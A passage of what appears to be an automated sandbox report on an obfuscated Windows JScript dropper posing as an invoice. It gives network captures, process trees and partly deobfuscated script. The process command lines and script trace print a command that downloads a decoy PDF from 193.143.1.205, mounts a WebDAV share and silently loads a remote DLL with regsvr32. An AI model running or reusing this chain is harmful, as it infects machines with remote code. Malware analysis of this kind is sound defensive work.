Jan 10, 2025 18:49:32.516737938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.516819000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.516829967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.516843081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.516853094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.516860962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.516880989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.519108057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.568947077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:33.031434059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:33.822793961 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:33.827662945 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:33.827758074 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:33.828003883 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:33.832772017 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:34.668622971 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:34.717375040 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:34.973323107 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:47.668039083 CET	59833	53	192.168.2.8	1.1.1.1
Jan 10, 2025 18:49:47.672992945 CET	53	59833	1.1.1.1	192.168.2.8
Jan 10, 2025 18:49:47.673073053 CET	59833	53	192.168.2.8	1.1.1.1
Jan 10, 2025 18:49:47.678245068 CET	53	59833	1.1.1.1	192.168.2.8
Jan 10, 2025 18:49:48.154995918 CET	59833	53	192.168.2.8	1.1.1.1
Jan 10, 2025 18:49:48.160327911 CET	53	59833	1.1.1.1	192.168.2.8
Jan 10, 2025 18:49:48.160418034 CET	59833	53	192.168.2.8	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:49:41.817487955 CET	54620	53	192.168.2.8	1.1.1.1
Jan 10, 2025 18:49:47.667450905 CET	53	62262	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:49:41.817487955 CET	192.168.2.8	1.1.1.1	0xa8b3	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:49:41.825869083 CET	1.1.1.1	192.168.2.8	0xa8b3	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:49:42.535415888 CET	1.1.1.1	192.168.2.8	0xba0a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:49:42.535415888 CET	1.1.1.1	192.168.2.8	0xba0a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:50:47.364924908 CET	1.1.1.1	192.168.2.8	0xb570	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:50:47.364924908 CET	1.1.1.1	192.168.2.8	0xb570	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	2340	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:49:30.884577036 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:49:31.713624001 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:49:31 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:49:31.713661909 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:49:31.713716984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 18:49:31.713751078 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 18:49:31.713808060 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 18:49:31.713843107 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 18:49:31.713879108 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 18:49:31.713913918 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 18:49:31.713952065 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 18:49:31.713979959 CET	104	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}
Jan 10, 2025 18:49:31.718861103 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	1292	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:49:33.828003883 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:49:34.668622971 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:49:34 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:49:26
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1732630681161426175.js"
Imagebase:	0x7ff628040000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:49:27
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll
Imagebase:	0x7ff637140000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:49:27
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:49:27
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:49:32
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:49:32
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff637140000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:49:32
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6b6a30000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:49:33
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:49:33
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:49:33
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1636,i,7742756982774977523,2339685933907997932,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	12:50:12
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function drnohtm() {	drnohtm() ➔ undefined
1	vcscx = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ybrueors = this[paoqcewr + gifuqednt + jpfnirb + fmzqjba + iifmu + qiipw + grdsnv + dshabeyig] ( this[avarpzy + itsuhkze + hcwukp + jpfnirb + ejinefik + paoqcewr + dshabeyig][igvgx + jpfnirb + iifmu + gifuqednt + dshabeyig + iifmu + ipqcv + jwhoq + axnzkjfy + iifmu + hcwukp + dshabeyig] ( avarpzy + itsuhkze + hcwukp + jpfnirb + ejinefik + paoqcewr + dshabeyig + sestee + itsuhkze + ehuiu + iifmu + hwbssd + hwbssd ) [fkjxxjfp + iifmu + gxazvyxto + fkjxxjfp + iifmu + gifuqednt + hjvtwpfj] ( gyyssse + bqsae + lzymw + zlawwxgq + pdydplfg + igvgx + ygxye + fkjxxjfp + fkjxxjfp + lzymw + mjmfoxeqx + wxmas + pdydplfg + ygxye + itsuhkze + lzymw + fkjxxjfp + rdwgieocn + igvgx + uborpay + grdsnv + dshabeyig + jpfnirb + uborpay + hwbssd + vbtdorfsf + jqdzf + gifuqednt + grdsnv + iifmu + hwbssd + rdwgieocn + qiipw + grdsnv + dshabeyig + iifmu + jpfnirb + grdsnv + gifuqednt + dshabeyig + ejinefik + uborpay + grdsnv + gifuqednt + hwbssd + rdwgieocn + tslabkdlt + uborpay + hcwukp + gifuqednt + hwbssd + iifmu ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( dsktd = 0 ; dsktd < vcscx[hwbssd + iifmu + grdsnv + gxazvyxto + dshabeyig + ehuiu] ; ++ dsktd )
4	{
5	if ( ybrueors == vcscx[dsktd] )
6	{
7	ybrueors = true;
8	break ;
9	}
10	}
11	if ( ybrueors !== true )
12	this[avarpzy + itsuhkze + hcwukp + jpfnirb + ejinefik + paoqcewr + dshabeyig][mcfxlrwk + uzcfcpg + ejinefik + dshabeyig] ( );
13	this[avarpzy + itsuhkze + hcwukp + jpfnirb + ejinefik + paoqcewr + dshabeyig][igvgx + jpfnirb + iifmu + gifuqednt + dshabeyig + iifmu + ipqcv + jwhoq + axnzkjfy + iifmu + hcwukp + dshabeyig] ( avarpzy + itsuhkze + hcwukp + jpfnirb + ejinefik + paoqcewr + dshabeyig + sestee + itsuhkze + ehuiu + iifmu + hwbssd + hwbssd ) [jpfnirb + uzcfcpg + grdsnv] ( hcwukp + vjxqtf + hjvtwpfj + vbtdorfsf + zdliklze + hcwukp + vbtdorfsf + paoqcewr + uborpay + qfqbv + iifmu + jpfnirb + fmzqjba + ehuiu + iifmu + hwbssd + hwbssd + sestee + iifmu + mmnlgvmw + iifmu + vbtdorfsf + adlewini + igvgx + uborpay + vjxqtf + vjxqtf + gifuqednt + grdsnv + hjvtwpfj + vbtdorfsf + gcgltk + qiipw + grdsnv + rfgwnzm + uborpay + iuspk + iifmu + adlewini + avarpzy + iifmu + jwhoq + fkjxxjfp + iifmu + zvdsnxcsb + uzcfcpg + iifmu + fmzqjba + dshabeyig + vbtdorfsf + adlewini + ipqcv + uzcfcpg + dshabeyig + psxndjezr + ejinefik + hwbssd + iifmu + vbtdorfsf + ebutue + dshabeyig + iifmu + vjxqtf + paoqcewr + ebutue + rdwgieocn + ejinefik + grdsnv + rfgwnzm + uborpay + ejinefik + hcwukp + iifmu + sestee + paoqcewr + hjvtwpfj + nmhcyuc + vbtdorfsf + ehuiu + dshabeyig + dshabeyig + paoqcewr + cvvalb + zdliklze + zdliklze + ffzmzezw + jhkcc + kgltbiabl + sestee + ffzmzezw + mouzlgvm + kgltbiabl + sestee + ffzmzezw + sestee + gpcewyhh + uiucp + mkqez + zdliklze + ejinefik + grdsnv + rfgwnzm + uborpay + ejinefik + hcwukp + iifmu + sestee + paoqcewr + ehuiu + paoqcewr + gcgltk + tfcykjmic + tfcykjmic + fmzqjba + dshabeyig + gifuqednt + jpfnirb + dshabeyig + vbtdorfsf + ebutue + dshabeyig + iifmu + vjxqtf + paoqcewr + ebutue + rdwgieocn + ejinefik + grdsnv + rfgwnzm + uborpay + ejinefik + hcwukp + iifmu + sestee + paoqcewr + hjvtwpfj + nmhcyuc + tfcykjmic + tfcykjmic + hcwukp + vjxqtf + hjvtwpfj + vbtdorfsf + zdliklze + hcwukp + vbtdorfsf + grdsnv + iifmu + dshabeyig + vbtdorfsf + uzcfcpg + fmzqjba + iifmu + vbtdorfsf + rdwgieocn + rdwgieocn + ffzmzezw + jhkcc + kgltbiabl + sestee + ffzmzezw + mouzlgvm + kgltbiabl + sestee + ffzmzezw + sestee + gpcewyhh + uiucp + mkqez + jblryk + yvzwygy + yvzwygy + yvzwygy + yvzwygy + rdwgieocn + hjvtwpfj + gifuqednt + rfgwnzm + qfqbv + qfqbv + qfqbv + jpfnirb + uborpay + uborpay + dshabeyig + rdwgieocn + tfcykjmic + tfcykjmic + hcwukp + vjxqtf + hjvtwpfj + vbtdorfsf + zdliklze + hcwukp + vbtdorfsf + jpfnirb + iifmu + gxazvyxto + fmzqjba + rfgwnzm + jpfnirb + kgltbiabl + gpcewyhh + vbtdorfsf + zdliklze + fmzqjba + vbtdorfsf + rdwgieocn + rdwgieocn + ffzmzezw + jhkcc + kgltbiabl + sestee + ffzmzezw + mouzlgvm + kgltbiabl + sestee + ffzmzezw + sestee + gpcewyhh + uiucp + mkqez + jblryk + yvzwygy + yvzwygy + yvzwygy + yvzwygy + rdwgieocn + hjvtwpfj + gifuqednt + rfgwnzm + qfqbv + qfqbv + qfqbv + jpfnirb + uborpay + uborpay + dshabeyig + rdwgieocn + mouzlgvm + kgltbiabl + uiucp + mkqez + ffzmzezw + kgltbiabl + ffzmzezw + yvzwygy + gpcewyhh + kgltbiabl + gpcewyhh + ffzmzezw + mkqez + kgltbiabl + sestee + hjvtwpfj + hwbssd + hwbssd, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll",0,false) ➔ 0
14	}
15	itsuhkze = "h";
16	itsuhkze = "d";
17	itsuhkze = "X";
18	itsuhkze = "o";
19	itsuhkze = "H";
20	itsuhkze = "V";
21	itsuhkze = "X";
22	itsuhkze = "S";
23	uzcfcpg = "l";
24	uzcfcpg = "l";
25	uzcfcpg = "c";
26	uzcfcpg = "u";
27	uzcfcpg = "R";
28	uzcfcpg = "z";
29	uzcfcpg = "b";
30	uzcfcpg = "x";
31	uzcfcpg = "Y";
32	uzcfcpg = "N";
33	uzcfcpg = "n";
34	uzcfcpg = "J";
35	uzcfcpg = "T";
36	uzcfcpg = "D";
37	uzcfcpg = "N";
38	uzcfcpg = "k";
39	uzcfcpg = "n";
40	uzcfcpg = "w";
41	uzcfcpg = "n";
42	uzcfcpg = "L";
43	uzcfcpg = "F";
44	uzcfcpg = "R";
45	uzcfcpg = "e";
46	uzcfcpg = "S";
47	uzcfcpg = "s";
48	uzcfcpg = "d";
49	uzcfcpg = "z";
50	uzcfcpg = "u";
51	uborpay = "q";
52	uborpay = "u";
53	uborpay = "e";
54	uborpay = "k";
55	uborpay = "i";
56	uborpay = "j";
57	uborpay = "o";
58	qiipw = "K";
59	qiipw = "W";
60	qiipw = "T";
61	qiipw = "i";
62	qiipw = "g";
63	qiipw = "O";
64	qiipw = "N";
65	qiipw = "U";
66	qiipw = "I";
67	qiipw = "p";
68	qiipw = "F";
69	qiipw = "G";
70	qiipw = "y";
71	qiipw = "y";
72	qiipw = "N";
73	qiipw = "Z";
74	qiipw = "x";
75	qiipw = "A";
76	qiipw = "z";
77	qiipw = "m";
78	qiipw = "r";
79	qiipw = "E";
80	qiipw = "B";
81	qiipw = "t";
82	qiipw = "o";
83	qiipw = "V";
84	qiipw = "X";
85	qiipw = "G";
86	qiipw = "T";
87	qiipw = "I";
88	qiipw = "K";
89	qiipw = "N";
90	qiipw = "N";
91	qiipw = "P";
92	qiipw = "I";
93	pdydplfg = "l";
94	pdydplfg = "E";
95	pdydplfg = "S";
96	pdydplfg = "F";
97	pdydplfg = "A";
98	pdydplfg = "K";
99	pdydplfg = "r";
100	pdydplfg = "p";
101	pdydplfg = "H";
102	pdydplfg = "f";
103	pdydplfg = "b";
104	pdydplfg = "P";
105	pdydplfg = "i";
106	pdydplfg = "V";
107	pdydplfg = "N";
108	pdydplfg = "R";
109	pdydplfg = "T";
110	pdydplfg = "H";
111	pdydplfg = "a";
112	pdydplfg = "B";
113	pdydplfg = "w";
114	pdydplfg = "K";
115	pdydplfg = "V";
116	pdydplfg = "J";
117	pdydplfg = "g";
118	pdydplfg = "K";
119	pdydplfg = "l";
120	pdydplfg = "s";
121	pdydplfg = "G";
122	pdydplfg = "f";
123	pdydplfg = "V";
124	pdydplfg = "n";
125	pdydplfg = "t";
126	pdydplfg = "P";
127	pdydplfg = "_";
128	wxmas = "J";
129	wxmas = "N";
130	wxmas = "I";
